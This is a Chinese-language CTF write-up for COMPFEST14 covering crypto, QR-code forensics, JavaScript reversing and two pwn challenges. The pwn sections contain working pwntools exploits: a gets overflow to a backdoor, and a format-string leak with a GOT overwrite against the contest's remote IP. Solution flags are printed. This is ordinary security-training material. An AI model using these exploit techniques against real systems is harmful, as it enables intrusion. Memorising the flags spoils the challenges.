两个都不大会,晚上发现还有一个,这个打开就特别慢.作了两个就算了,心想反正48小时赛,明天再作,可回头一看早就结果是12小时的.而且题特别多
crypto Why Is It So Traditional
这个题将flag分成4段进行加密,4种不同的方法,不过基本都是基于字符的变化,可以直接爆破
import math
from Crypto.Util.number import bytes_to_long
def cc_encrypt(plain: str):
cipher = ""
for i in range(len(plain)):
assert ord(plain[i]) < 128
if i == len(plain) - 1:
cipher += plain[i]
else:
cipher += chr((ord(plain[i]) + ord(plain[i + 1]) - 2*32) % 94 + 32)
return cipher
def bc_encrypt(plain: str):
file = open("lorem.txt", "r")
tmp = file.read()
file.close()
off = 0
cipher = ""
for i in range(len(plain)):
chr = str(bin(ord(plain[i]) - 32))[2:].zfill(7)
assert len(chr) == 7
for j in chr:
while (not tmp[off].isalpha()):
off += 1
if j == "1":
cipher += tmp[off].capitalize()
else:
cipher += tmp[off].lower()
off += 1
return cipher
def ct_encrypt(plain: str):
file = open("lorem.txt", "r")
key = file.read()[0:5].lower()
file.close()
cipher = ""
lst = list(plain)
key_srt = list(key)
key_srt.sort()
col = len(key)
row = math.ceil(len(plain)/col)
lst = []
for i in range(row):
tmp = []
for j in range(col):
if ((i*col) + j < len(plain)):
tmp.append(plain[(i*col) + j])
else:
tmp.append(" ")
lst.append(tmp)
for i in range(col):
tmp = key.index(key_srt[i])
for j in range(row):
cipher += lst[j][tmp]
return cipher
def vc_encrypt(plain: str):
file = open("lorem.txt", "r")
key = file.read()[0:5].lower()
file.close()
cipher = ""
for i in range(len(plain)):
assert ord(plain[i]) < 128
cipher += chr((ord(plain[i]) + ord(key[i % len(key)]) - 64) % 94 + 32)
return cipher
def encrypt(plain: str):
cipher = ""
cipher += cc_encrypt(plain[0:20])
cipher += bc_encrypt(plain[20:40])
cipher += ct_encrypt(plain[40:60])
cipher += vc_encrypt(plain[60:])
return bytes_to_long(bytes(cipher, encoding='utf-8'))
def main():
file = open("flag.txt", "r")
plain = file.read()
file.close()
tmp = encrypt(plain)
file = open("cipher.txt", "w")
file.write(str(tmp))
file.close()
if __name__ == "__main__":
main()
第一段就是一个算式,直接爆破
ct =9374862801672011569143243493759834651854302741137921000102578544699291979446566751887813872972999250801521524212936699063904227504628445093754152462009521424732471453466670760988265819686759158844634830024884931300588310718332652371519380668768298032642525239961724954547989762210827049115978504990027702198536284151220495702663215797420769364463234386365148116592181273640226624584351853789020390569953735058342276300916599420784350764118742731817689748155602460756332
from Crypto.Util.number import long_to_bytes
c = long_to_bytes(ct)
print(len(c))
c1 = c[:20]
p1 = [0]*20
p1[19] = c[19]
#(ord(plain[i]) + ord(plain[i + 1]) - 2*32) % 94 + 32
for i in range(18,-1,-1):
for j in range(0x20,127):
if ((j+p1[i+1])-2*32)%94+32 == c1[i]:
p1[i] = j
break
print(bytes(p1))
第二段是基于查表的,同样可以直接爆破
c2 = c[20:20+20*7].decode()
p2 = [0]*20
tmp = open("lorem.txt", "r").read()
off = 0
for i in range(20):
for k in range(0x20,0x7f):
toff = off
chr = str(bin(k - 32))[2:].zfill(7)
cipher = ''
assert len(chr) == 7
for j in chr:
while (not tmp[toff].isalpha()):
toff += 1
if j == "1":
cipher += tmp[toff].capitalize()
else:
cipher += tmp[toff].lower()
toff += 1
if cipher == c2[i*7: i*7+7]:
p2[i] = k
off = toff
break
print(bytes(p2))
第三段是换顺序,直接用20个字母加密一次,再查表
import math
def ct_encrypt(plain: str):
file = open("lorem.txt", "r")
key = file.read()[0:5].lower()
file.close()
cipher = ""
lst = list(plain)
key_srt = list(key)
key_srt.sort()
col = len(key)
row = math.ceil(len(plain)/col)
lst = []
for i in range(row):
tmp = []
for j in range(col):
if ((i*col) + j < len(plain)):
tmp.append(plain[(i*col) + j])
else:
tmp.append(" ")
lst.append(tmp)
for i in range(col):
tmp = key.index(key_srt[i])
for j in range(row):
cipher += lst[j][tmp]
return cipher
tmp = ct_encrypt('abcdefghijklmnopqrst')
#print(tmp)
t1 = 'abcdefghijklmnopqrst'
t2 = 'dinsafkpejotbglqchmr'
st3 = 20+20*7
c3 = c[st3: st3+20]
p3 = [0]*20
for i in range(20):
p3[t1.index(t2[i])] = c3[i]
print(bytes(p3))
第四段与第一段类似,可能出题人也整不出其它好的方法了,竟然重了
st3+= 20
c4 = c[st3: ]
p4 = [0]*len(c4)
key = b'lorem'
#cipher += chr((ord(plain[i]) + ord(key[i % len(key)]) - 64) % 94 + 32)
for i in range(len(c4)):
for j in range(0x20,0x7f):
if (j + key[i%5] -64)%94 + 32 == c4[i]:
p4[i] = j
break
print(bytes(p4))
b'Great job! COMPFEST14{FiRSt_ST3p_0f_crYPYo_bUT_f4LLeN_t0_diSUS3_70abaaf44b}'
scan_me
前几天作过一个扫二维码的,已经弄好了程序,这个题前半半就直接搞定了.给了828个小二维码.扫出来是0xdh这样的,看上去就是一个字节但显示字母都不是16进制的,先用pyzbar扫出来放文件里
from pyzbar import pyzbar
from PIL import Image
text = ''
for i in range(1,829):
fname = f"./qr/{i}.png"
val = pyzbar.decode(Image.open(fname), symbols=[pyzbar.ZBarSymbol.QRCODE])
text+= val[0].data.decode()[2:]
open('aaa2.txt', 'w').write(text)
print(text)
后来慢慢想,提示是这样的,最后一句有个单词shift,那理解成平移,把这些符号重排了一下,发现前10个从"`_a"开始是10个连续的,后边是6个连续的,大概意思就是16进制的符号平移而来.
Jack and his uncle loves solving puzzles. This morning, Jack's Uncle gave him a stack of card and said:
"In order to solve this, don't scramble the card, scramble the egg"
"Just kidding"
"Bye, shift you latter"
所以第二步就解出来了
cipher = b'ghd_ctcf_s_p_p_p_______schcgccda_____`ra_____`ra_`________dcebuctg_____`_bchccc`dcfghrtshrcsetpcb_`_gddu_scgqsbcbfrgd`rrhdfb_bbgcp`ua_`aarabg`stardrqeg`ec`aahcbcqehucepg`crbqhuapashdtprfddetabftaetbhu`ugag_cgh`aacdgp`cahdapccgh`aacdgpurcgrttesatf`stqq``pb_qf__te`efhqubscupfrggqh`_schharhegceqbecbtsegfffqfpqcghahrrtscahua`aecdqhf_ebccqdprdph_bg`usshs`sr_`u`ud_chsaaaucuptgeq`eqtgaqeqg`u`edfhq_cth`hfaarbtaguq`eqegbs__rcthr`bpcdbtbbqhghedbhfabdqcbgprastbssg_bghcusc___ub_hbpcddthcdrdbshhd_qq``qpscfcbcuprfbhtesseusgtuudetcauaar`pbcr_sg`c_fpa`cepesfpb_rruudbscdbththrbspgdh_u__u`ethtctabqudpguddftcgtcefdabs_q`_`ef___r__`_sus``cg_te`bhutq`urh_rgaahq_g`eqhugd`eaqdhrucshscpctbrdqca``q`aqhhbercb__rhtrgfcpdaqcbbpt_dagtfshqaa`h`cdpp_sa`hacffqchshbdh__schbeacuapbtcsgqcerurh_sfedhb_fpuhcagh`sqdpcsbeacqargaepfctftegcactg_qgpcpgqegsfcrpgfccutgqhrrs__fgchgespbccqpsqac_hphdserfdhbpcddtgbbrrebagudqsduqcrrgeb`udrdcsqgqurgahreubctq___tubrs`qefstfbfdqfhcgt`frfttcchsaapuc`etrtgfuragb`arpggfgpuhqddcuhhbtpbah`cfshtescahgabdhtdshfqabtsfeppptscdftchpt_egc_deeau_qb_fepq_`qbdhbd`uduhsppdbtcpdrghr_dfhaefseuube`fd`prrqub`_sg_erpes`htubfqgpbrhusruerqsaf`fcdpr``scusr_fqhbp_dpadgaebarqbepf_efasubttctteqthhfddhbha_sghsrchhhgddsgs_geupsa`qruhefebbfr`daaebsffb___t_sgcsuupudbtcqdrgcute`gcqsu`tfdpddgaeuadqqastfbrsrdhhqfdqt`u`rsupsbfdgpqr`gdhttqh_ac_hruabdthq`fbubt`g_sd`_tuqpaqasuaag`utpbafphbbd_ug_fgtf_redhrcgq`crtcffecehqfstusgppqudrhcqqs`qgfdhftcgtcufpcsuh_qeucqq`uth_`scpq`ugus_ahuaghrhcuttqh_a`ehhtegf`egqpubf`praqqs`bfcts_ahuadptcfeht`pc_tpeetrppfr__uqccchuhh_rghsecbu`cppgbahpqr_rs_edbctfsgecth`aacdgp`cahdapccgh`aacdgp`cdhtdauc_uft_qga_dcprgf________chcdctccptcae_ga'
a = b'_`abcdefghpqrstu'
b = b'0123456789abcdef'
#按照提示shift \x89PNG
trantab = bytes.maketrans(c, b)
d = cipher.translate(trantab)
open('ccc.png', 'wb').write(bytes.fromhex(d.decode()))
然后生成的是一个png图,打不开,用010打开看头有问题1a0a这里是0a0a,改过来出现一部分,然后再改数据区的长度,从103改为303就得到最后的二维码了,再扫一下即可.
from pyzbar import pyzbar
from PIL import Image
#手工修改被破坏的头 0A->1A 数据块长度103->303
val = pyzbar.decode(Image.open('ccc.png'), symbols=[pyzbar.ZBarSymbol.QRCODE])
text= val[0].data.decode()
print(text)
#在结果前加CO补全flag头
#COMPFEST14{Th1s_1S_Th3_c0rrr3ct_Sc4n_M3_Fl4g_5425470cc0}
pwn Smart Identifier
第一个pwn题白送
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[80]; // [rsp+0h] [rbp-50h] BYREF
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("Tell me about yourself");
gets();
if ( strlen(s) > 0x40 )
{
puts("You talk too much");
exit(0);
}
puts("Who are you");
return 0;
}
就一句话,gets直接溢出,还有后门.这就不用本地测了,直接远程
from pwn import *
p = remote('13.212.50.63',11111)
context.log_level = 'debug'
p.sendlineafter(b'Tell me about yourself', b'\x00'*0x58+ p64(0x4011d6)*2)
p.recvline()
p.recvline()
p.recvline()
pwn Mail
第二个题,这种第一次见,不过难度不大,程序可以写信息和输出,输出的时候用的无格式参的printf
但这个都是在一个libmail.so里,这种第一次见,不过跟libc道理一样在主程序里的got表会有这个程序的函数地址
unsigned __int64 __fastcall sendMail(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("\nThis app can only send a mail three days to the past maximum.");
puts("How many days into the past do you want to send this mail?");
printf("> ");
__isoc99_scanf("%d%*c", &v2);
if ( v2 <= 3 )
{
if ( v2 >= 0 )
{
puts("Enter your mail content");
printf("> ");
read(0, (void *)(8 * (3 - v2) + a1), 8uLL);
}
else
{
puts("You can't send a mail into the future");
}
}
else
{
puts("What did i just say :/");
}
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 __fastcall readMail(__int64 a1)
{
int v2; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("\nThis app can only read a mail three days to the past maximum.");
puts("which mail do you want to read? (input how many days into the past)");
printf("> ");
__isoc99_scanf("%d%*c", &v2);
if ( v2 <= 3 )
{
if ( v2 >= 0 )
printf((const char *)(8 * (3 - v2) + a1));// printf
else
puts("Are you trying to read a mail from the future?");
}
else
{
puts("Can't read that mail anymore :(");
}
return __readfsqword(0x28u) ^ v3;
}
所以这个思路也比较简单,先用printf漏洞得到函数库的加载地址,然后把函数库里的后门写到exit的got表里
不过在这里浪费了不少时间,太晚了睡觉不弄了.网站特别慢,运行会报超时或直接中断
from pwn import *
p = remote('13.212.50.63',11002)
#p = process('./p2')
context.log_level = 'debug'
elf = ELF('./p2')
libc_elf = ELF('./libc-2.27.so')
libmail_elf = ELF('./libtcmail.so')
one = [0x4f2a5, 0x4f302, 0x10a2fc]
'''
0000| 0x7fffffffdef0 --> 0x0 <---------6
0008| 0x7fffffffdef8 --> 0x7fffffffdf20 --> 0x0
0016| 0x7fffffffdf00 --> 0x0
0024| 0x7fffffffdf08 --> 0x8a9f02f8499d1900
0032| 0x7fffffffdf10 --> 0x7fffffffdf50 --> 0x401330 (<__libc_csu_init>: endbr64) <--10
0040| 0x7fffffffdf18 --> 0x401306 (<main+93>: cmp DWORD PTR [rbp-0x4],0x3) <-----11
0048| 0x7fffffffdf20 --> 0x0 <----------12 #3
0056| 0x7fffffffdf28 --> 0x0
0064| 0x7fffffffdf30 --> 0x0
0072| 0x7fffffffdf38 ("%6$p%7$p0\340\377\377\377\177") <----------15
0080| 0x7fffffffdf40 --> 0x7fffffffe030 --> 0x1
0088| 0x7fffffffdf48 --> 0x200000000
0096| 0x7fffffffdf50 --> 0x401330 (<__libc_csu_init>: endbr64)
0104| 0x7fffffffdf58 --> 0x7ffff7821c87 (<__libc_start_main+231>: mov edi,eax) <------19
'''
def save(idx, msg):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'> ', str(idx).encode())
p.sendafter(b'> ', msg)
def run(idx):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'> ', str(idx).encode())
save(3, p64(elf.got['sendMail']))
save(0, b'%12$s,')
run(0)
libmail_base = u64(p.recv(6).ljust(8, b'\x00')) - libmail_elf.sym['sendMail']
libmail_elf.address = libmail_base
print('mail:', hex(libmail_base))
#got.exit -> win
win = p64(libmail_elf.sym['win'])
#win = p64(libc_base + one[2])
for i in range(6):
save(3, p64(elf.got['exit'] + i))
pay = f"%{win[i]}c%12$hhn".encode()
save(2, pay[:8])
save(1, pay[8:])
run(2)
p.sendlineafter(b'> ', b'3')
p.recvline()
p.recvline()
p.interactive()
rev baby JaSon adler
不知道是个啥语言,看上去就是js ,加密就4句
enc=[];holder1=[];holder2=[];fl4g.split("").map((x,y)=>{!y?holder1[y]=x.charCodeAt(0)+1:holder1[y]=((x.charCodeAt(0)+holder1[y-1])%(2**9<<16))});holder1.map((zZ,hh)=>{!hh?holder2[hh]=holder1[hh]:holder2[hh]=(zZ+holder1[hh-1])%(2**9<<8)});enc=holder1.concat(holder2);enc.map((wkwk,zz)=>{enc[zz]=String.fromCharCode(wkwk)});enc=enc.join("")
正理一下就4句
fl4g.split("").map( (x,y)=>{!y?holder1[y]=x.charCodeAt(0)+1: holder1[y]=((x.charCodeAt(0)+holder1[y-1])%(2**9<<16)) });
holder1.map((zZ,hh)=>{!hh?holder2[hh]=holder1[hh]:holder2[hh]=(zZ+holder1[hh-1])%(2**9<<8)});
enc=holder1.concat(holder2);
enc.map((wkwk,zz)=>{enc[zz]=String.fromCharCode(wkwk)});
这里用到的map显然x是值y是索引,后边三元运算符相当于if else 也就没别的了,第一句是把flag后一个加上前一个(第1个加1),
第二是从这个结果再生成一个然后加在后边,显然有前边后边没用
最后输出,看到密文有点麻烦给整成utf8了
直接先转过来成数字,再作个简单的减法,那个取模也没用,太大了
def utf8_u16(s):
i = 0
t = []
while i<len(s):
if s[i]>>7 == 0:
t.append(s[i])
i+=1
elif s[i]>>5 == 6:
t.append(((s[i]&0x1f)<<6) | (s[i+1]&0x3f))
i+=2
else:
t.append(((s[i]&0xf)<<12)|((s[i+1]&0x3f)<<6)|(s[i+2]&0x3f))
i+=3
return t
cipher = open('enc_out.txt','rb').read()
c = utf8_u16(cipher) #utf8转整
print(len(c),c) #118
holder1 = c[:59]
holder2 = c[59:]
for i in range(58,0,-1):
holder1[i] = (holder1[i]-holder1[i-1])%(2**9<<16)
holder1[0]-=1
print(bytes(holder1))
#COMPFEST14{4dler_ch3ccs0me_1s_f4s7er_7h4n_cRC!!_0240f11cc5}
后边题有时间再作,先存存.